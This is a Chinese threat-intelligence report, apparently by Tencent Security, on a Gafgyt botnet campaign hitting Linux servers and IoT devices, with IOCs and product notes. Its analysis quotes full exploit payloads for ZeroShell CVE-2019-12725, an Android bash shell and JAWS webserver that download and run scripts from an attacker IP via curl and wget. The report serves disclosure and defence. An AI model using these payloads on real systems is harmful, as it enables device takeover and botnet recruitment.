警惕 Gafgyt 僵尸 *** 对国内 Linux 服务器及 IoT 设备的攻击
一、背景
腾讯安全威胁情报中心检测到有境外IP针对国内Linux服务器的远程命令注入攻击。黑客通过批量扫描80、5555、60001端口来发现易受攻击的Linux服务器、android设备以及监控摄像头设备并利用ZeroShell远程代码执行漏洞（CVE-2019-12725）、bash shell漏洞、JAWS Webserver未授权shell命令执行漏洞进行攻击，攻击成功后下载Gafgyt家族木马。
Gafgyt是一种流行的僵尸 *** 程序，被认为是Mirai的前身，其源代码在2015年初被部分泄露。Gafgyt主要通过telent弱口令以及命令注入漏洞等方式进行攻击传播，通过感染基于Linux的IoT设备（包括基于Linux系统的路由器、智能摄像头等设备）来发起DDoS攻击，攻击类型以UDP、TCP和HTTP攻击为主。
腾讯安全系列产品应对Gafgyt僵尸 *** 的响应清单：
场景
胁
情
报
威胁情报云查服务
（SaaS）
各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考:https://cloud.tencent.com/product/tics
高级威胁追溯系统
网管可通过威胁追溯系统，分析日志，进行线索研判、追溯 *** 入侵源头。T-Sec高级威胁追溯系统的更多信息，可参考：https://cloud.tencent.com/product/atts
防护
（Cloud Firewall，CFW）
1） Gafgyt僵尸 *** 关联的IOCs已支持识别检测；
2） 检测利用Zeroshell漏洞的命令注入攻击；
有关云防火墙的更多信息，可参考：
https://cloud.tencent.com/product/cfw
（Cloud Workload Protection，CWP）
2） 告警弱口令爆破行为；
腾讯主机安全（云镜）提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息，可参考：https://cloud.tencent.com/product/cwp
关于腾讯T-Sec安全运营中心的更多信息，可参考：https://s.tencent.com/product/soc/index.html
高级威胁检测系统
（腾讯御界）
关于T-Sec高级威胁检测系统的更多信息，可参考：
https://cloud.tencent.com/product/nta
二、详细分析
腾讯安全专家在日常安全巡检过程中发现攻击线索，腾讯云防火墙检测到攻击来源52.224.202.238:43787，针对目标系统80端口的命令注入攻击。
该攻击的payload为： GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*”;cd /tmp;curl -O http[:]//5.206.227.228/zero;sh zero;” HTTP/1.0 分析发现这次攻击利用的是ZeroShell远程代码执行漏洞（CVE-2019-12725），该漏洞在2019年7月被发现，攻击者可以通过构造具有固定特征的请求数据发送至目标系统，从而导致恶意代码执行。（ZeroShell是一套用于服务器和嵌入式设备的Linux发行版，它主要为局域网提供所需要的 *** 服务） 漏洞攻击成功后通过curl命令下载执行shell脚本zero，zero继续通过curl下载Gafgyt木马bot.x86_64和bot.x86并启动执行，分别为64位和32位木马文件。 bot.x86为Gafgyt僵尸 *** 家族木马样本，启动后首先打印特征字符串“9xsspnvgc8aj5pi7m28p”。 然后针对Linux服务器、android设备、视频监控设备的80、5555、60001端口进行扫描。 针对开放端口的设备利用ZeroShell远程代码执行漏洞（CVE-2019-12725）攻击，执行payload: GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*“;cd /tmp;curl -O http[:]//5.206.227.228/zero;sh zero;” 利用bash shell漏洞攻击，执行payload: shell[:]cd /data/local/tmp; busybox wget http[:]//5.206.227.228/wget -O -> wwww; sh wwww; curl -O http[:]//5.206.227.228/curl; sh curl;rm wwww curl 利用JAWS Webserver未授权shell命令执行漏洞攻击，执行Payload: GET /shell?cd /tmp;wget http[:]//5.206.227.228/jaw;sh jaw; ZeroShell远程代码执行漏洞（CVE-2019-12725）的攻击流量：IOCs
IP
5.206.227.228
URL
http[:]//5.206.227.228/zero
http[:]//5.206.227.228/curl
http[:]//5.206.227.228/wget
http[:]//5.206.227.228/k
http[:]//5.206.227.228/bot.x86_64
http[:]//5.206.227.228/bot.x86
http[:]//5.206.227.228/bot.arm5
http[:]//5.206.227.228/bot.arm6
http[:]//5.206.227.228/bot.arm7
http[:]//5.206.227.228/bot.aarch64
http[:]//5.206.227.228/bot.mips
http[:]//5.206.227.228/bot.mipsel
MD5
2520fc7d13ac3876cca580791d1c33a8
cc84fcc23567228337e45c9fbb78699f
10b9f21795e5ffbd52c407617d0bd4ef
38d8de098c7e560a34dabf8c1a2ed5f0
12b021bcd199585e86dd27523010105b
0e12d891a2fe2cecb6781f3e4d3551b4
aa389e7fb64cf274334712ecb3dfd2cd
2dabb8e039a77f0eb67e938d798ab7c4
03a7f039321ffb9938cc67d65c0b6459
a9109419954a421b712d48ea22b0a7b9
52fb891c536fe449b896f0f2cd2490d4
e2cec25584bfec1e56ee82f350dfeaf9
87859507c0d23793c78d86e0963a7a37
ba903efc3d2e37105e57232e7652b85c
891bbf7b562b34332fac12df2c29ddbb
6d9953a03c568ad97595723d1a09b291
aa9e9627ed6aba6415fb45f742f4f8dd
参考链接：
https://www.anquanke.com/vul/id/1030688
https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/
https://github.com/ifding/iot-malware
“警惕 Gafgyt 僵尸 *** 对国内 Linux 服务器及 IoT 设备的攻击” 的相关文章
Google 发布第 3 个紧急更新 修复 Chrome 中另一个零日漏洞
Google 今天发布了第 3 个紧急更新，修复了存在于 Chrome 浏览器中的另一个零日漏洞。周四，Google 面向 macOS、Windows 和 Linux 发布了 Chrome 100.0.4898.127 更新，会在未来几天内完成部署。 本次更新修复了追踪为 CVE-2022-1364...
泄露的 Facebook 工程师文件承认违法使用用户数据 或将面临全球收入 4% 的罚款
Facebook正面临一场世界各地隐私法规“海啸”，这将迫使该公司大幅改变处理用户个人数据的方式。根据外媒获得的一份从Facebook泄露的文件，Facebook这场“劫难”的根源在于，他们自己都搞不清楚用户数据的用途和去向。 这份泄露的文件是由Facebook广告和商业产品团队的隐私工程师去...
FBI 向托管 Cyclops Blink 恶意软件的僵尸网络服务器发起了行动
美国联邦调查局（FBI）透露，该机构于今年 3 月发起了针对 GRU 控制的大型僵尸网络的专项行动。在获得加利福尼亚和宾夕法尼亚两州法院的授权后，FBI 清理了存在于指挥和控制服务器（C2S）上的所谓 Cyclops Blink 恶意软件，从而切断了其与受感染设备的连接。 本周三，美国司法部披露了...
数百万用户受影响，杀毒软件 Avast 中潜藏近 10 年的漏洞被披露
5月5日，SentinelLabs 发布报告，显示他们曾在知名防病毒产品Avast 和 AVG （2016 年被 Avast 收购）中发现了两个存在时间长达近10年之久的严重漏洞。 这两个漏洞被跟踪为 CVE-2022-26522 和 CVE-2022-26523，存在于名为 aswArPot.s...
美国国土安全部推出“黑客 DHS ”漏洞赏金计划
据The Record报道，美国国土安全部（DHS）当地时间周二宣布，该机构的负责人已经启动了一项漏洞赏金计划，允许黑客报告其系统中的漏洞，以换取金钱奖励。 美国国土安全部部长亚历杭德罗·马约卡斯（Alejandro Mayorkas）在出席彭博科技峰会时说：“我们不仅关注保护和加强私营部门和整个...
安全人员发现 NSO 新的零点击攻击规避了苹果 iPhone 安全保护措施
公民实验室(Citizen Lab)的研究人员说，巴林人权活动家的iPhone今年早些时候被强大间谍软件悄悄入侵，打败了苹果公司为抵御秘密入侵而设计的新安全保护措施。这位仍在巴林并要求不透露姓名的活动人士是巴林人权中心的成员，该中心是一个获奖的非营利性组织，在海湾国家促进人权。 位于多伦多大学的互联...
评论列表
发表评论
